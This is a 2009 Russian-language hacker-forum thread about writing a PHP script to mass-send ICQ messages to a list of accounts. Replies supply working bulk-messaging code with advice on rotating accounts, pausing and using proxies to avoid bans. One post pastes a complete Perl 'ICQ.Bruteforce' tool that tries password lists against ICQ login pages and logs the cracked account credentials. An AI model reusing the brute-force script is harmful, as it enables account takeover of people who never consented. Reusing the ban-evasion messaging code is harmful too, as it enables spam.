HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

ICQ рассылка на php
  #1  
Старый 17.03.2009, 19:36
mff
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
С нами: 9560486

Репутация: 1809


Lightbulb ICQ рассылка на php

Здравствуйте дорогие античатовцы!

Требуется ваша бесценная помощь.
Задача: написать простенький рассыльщих ICQ на php. Рассылать нужно будет по базе подписчиков.
Реально ли это? Если да, то подскажите с чего начинать.

Когда то делал месенгер на php и flash используя WebIcqLite.class - работал, но нестабильно.

Спасибо!
 
Ответить с цитированием

  #2  
Старый 17.03.2009, 20:12
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Реально, вот алгоритм: качаешь класс WebIcqLite. Заносишь базу подписчиков в массив:
PHP код:
$base=explode("\r\n",file_get_contents('base.txt')); 
Потом в цикле
PHP код:
for($i=0;$i<=count($base);$i++)
{
$icq->send_message($base[$i], "Message");
sleep(2);

Аську выбрасывает, если подряд сообщения идут с одного нума - поэтому прилепил слип. Либо можешь еще в цикл
PHP код:
define('UIN'$uins[$i]);
define('PASSWORD'$pass[$i]); 
опять же чтобы не выкидало аську. Только очень часто не логинись - надо будет прокси юзать.
 
Ответить с цитированием

  #3  
Старый 17.03.2009, 20:19
rushter
Reservists Of Antichat - Level 6
Регистрация: 23.05.2008
Сообщений: 756
С нами: 9456866

Репутация: 979


По умолчанию

Цитата:
Сообщение от mailbrush  
Реально, вот алгоритм: качаешь класс WebIcqLite. Заносишь базу подписчиков в массив:
PHP код:
$base=explode("\r\n",file_get_contents('base.txt')); 
http://ru2.php.net/file
 
Ответить с цитированием

  #4  
Старый 17.03.2009, 20:31
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

rushter, ну да. Этим тоже можно. Забыл про него, разницы то нету.
 
Ответить с цитированием

  #5  
Старый 17.03.2009, 21:39
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

ну в общем что-то в этом роде:

PHP код:
<?php 
@set_time_limit(0); 
@
ini_set("display_errors","1");
ignore_user_abort(1);

include(
'WebIcqLite.class.php');

$ini parse_ini_file("icq.ini");

$uin $ini[uin]; // UIN для бота
$pass $ini[pass]; // Пароль для UIN бота
$file_uin $ini[file_uin]; // Файл, где список рассылки
$message $ini[message]; // Сообщение 
$pause $ini[pause]; // пауза между сообщениями

define('UIN'$uin);
define('PASSWORD'$pass);

$icq = new WebIcqLite();
if(!
$icq->connect(UINPASSWORD)) {
       echo 
$icq->error;
       exit();
}
   
$file fopen($file_uin,'r');
   while (!
feof($file)) {
      
$buffer trim(fgets($file));
      
$icq->send_message($buffer$message);
      echo 
"Message sent to $buffer \n";
      
flush();
      
sleep($pause);
   }    

$icq->disconnect();
exit();
?>
icq.ini:

PHP код:
uin 123456 UINс которого рассылаем
pass 
1234 Пароль для UINс которого рассылаем
file_uin 
uin.txt Файл со списком UIN для рассылки
message 
test, do not reply this messagebot-test Собственно сама мессага для отсылки
pause 
Пауза между каждым сообщениемчтобы нас не забанили (в секундах
uin.txt:

PHP код:
11111
22222
33333
44444 
скачать сорцы + icq.exe (скомпилировано под винды, протестено под win xp, потому и стабильно) + настройки + сам класс в виде архива:

скачать

Последний раз редактировалось Pashkela; 17.03.2009 в 21:50..
 
Ответить с цитированием

  #6  
Старый 17.03.2009, 22:26
mff
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
С нами: 9560486

Репутация: 1809


По умолчанию

Спасибо ребят! Полез разбирать!
 
Ответить с цитированием

  #7  
Старый 18.03.2009, 07:46
blaga
Постоянный
Регистрация: 23.03.2006
Сообщений: 977
С нами: 10597286

Репутация: 694


По умолчанию

Pashkela, чем тебе так ини файлы нравяться?
вообще то не очень удобно, если кто нить узнает что такой файл есть на серваке то его можно тупо скачать и узнать нум и пасс с которого шлют, а потом и скачать файл с уинами подписчиков.
имхо было бы проще сделать на php этот файл а нумы хранить в БД... ИМХО
 
Ответить с цитированием

  #8  
Старый 18.03.2009, 08:28
Gray_Wolf
Постоянный
Регистрация: 07.03.2009
Сообщений: 357
С нами: 9042754

Репутация: 399
По умолчанию

2blaga *.ini и *.txt можно хранить в отдельном каталоге с .htaccess.
 
Ответить с цитированием

  #9  
Старый 18.03.2009, 09:20
PandoraBox
Постоянный
Регистрация: 06.05.2007
Сообщений: 393
С нами: 10008797

Репутация: 398
По умолчанию

на перл для многопоточности!

Код:
#!/usr/bin/perl

#############################################
#############################################
#
# ICQ.Bruteforce v1.7 by UsEle$$ gr0up
#
# Language: Perl Code
# Platform: Any with Perl started
# Author: Hunt
# All Rights Reserved by UsEle$$ gr0up
#
# 11.12.02
#
#############################################
#############################################

use IO::Socket;

$negative = 'incorrect';
$positive = 'change_details';
$server   = 'web.icq.com';

# local files directives
$uins        = 'uins.txt';
$passwordlst = 'pass.txt';
$success     = 'log.txt';
$debuglog    = 'debug.log';

# begin of script-code

print "\n\n\tICQ.Bruteforce v1.7 by UsEle\$\$ gr0up\n\n";
print "\tLanguage: Perl Code\n";
print "\tPlatform: Any with Perl started\n";
print "\tAuthor: Hunt\n";
print "\tAll Rights Reserved by UsEle\$\$ gr0up\n";
print "\tReady to work...\n\n";

&checkstart; # checking configuration
&openuins;   # opening uins & pass list

sub checkstart
{
  crash($uins) unless -f $uins;
  crash($passwordlst) unless -f $passwordlst;
}

sub openuins
{
  open UINS, "< $uins";
  while (<UINS>) {
    chomp $_;
    push @uinslst, $_;
  }
  close UINS;
  for ($iall = 0; $iall <= scalar @uinslst; $iall++) {
    $prepareuin = $uinslst[$iall];
    openpass($prepareuin);
  }
}

sub openpass
{
  my($uin) = @_;
  open PASS, "< $passwordlst";
#  while (<PASS>) {
#    chomp $_;
#    push @ps, $_;
#  }
  @ps = <PASS> while <PASS>;
  close PASS;
  foreach $pass (@ps) {
    $done = crack($pass, $uin);
    if ($done eq 2) {
      print "\tFound\n";
      return;
    }
    return if $done eq 3;
  }
}

sub crack
{
  my($passwd, $uin) = @_;
  return 3 unless $passwd;
  print "\tTrying $uin and $passwd... ";
  $dir = "/newlogin/1,,,00.html?&karma_fail_url=http://web.icq.com/login/login_page?karma_product_css=11&karma_success_url=http://web.icq.com/whitepages/change_details/?&karma_forget=1&karma_service=1&karma_user_login=$uin&karma_user_passwd=$passwd";
  $resuilt = sock($dir);
  if ($resuilt == -1) {
    print "Can\'t connect to server... Reconnecting\n";
    redo;
  } elsif (!$resuilt) {
    print "failed\n";
    return 0;
  } elsif ($resuilt) {
    print "success\n";
    logging($success, "$uin\:$passwd");
    $i++;
    return 2;
  }
}

sub sock
{
  my($socket);
  my($get) = @_;
  $socket = IO::Socket::INET->new(PeerAddr => $server,
                                  PeerPort => 80,
                                  Proto => tcp) or return -1;
  $get =~ s/\r|\n//g;
  print $socket "HEAD $get HTTP/1.0\n\n";
  while (<$socket>) {
    $answer = $_;
    chomp $answer;
    if ($answer =~ /$positive/) {
      close $socket;
      return 1;
    }
    if ($answer =~ /$negative/) {
      close $socket;
      return 0;
    }
  }
}

sub logging
{
  my($logg, $string) = @_;
  open LOGG, ">> $logg";
  print LOGG "$string\n";
  close LOGG;    
}

sub crash
{
  my($file) = @_;
  print "\tCan\'t access to $file\n";
  exit;
}
 
Ответить с цитированием

  #10  
Старый 18.03.2009, 13:42
Deathdreams
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
С нами: 9213376

Репутация: 278
По умолчанию

2 Pashkela
на самом деле ini файлы в данном случае неудобны.
не проще всё указать в переменных?
намного быстрее будет скрипт выполнятся.А так пока он будет парсить.
Здесь так и указать значения.

$uin = 'uin бота'; // UIN для бота
$pass = 'pass uin'; // Пароль для UIN бота
$file_uin = file(uins.txt); // Файл, где список рассылки
$message = 'месага'; // Сообщение
$pause = '2'; // пауза между сообщениями
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP 186 21.02.2010 02:41
Мгновенные сообщения как феномен Интернета GrinGoO Мировые новости. Обсуждения. 9 30.10.2009 08:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.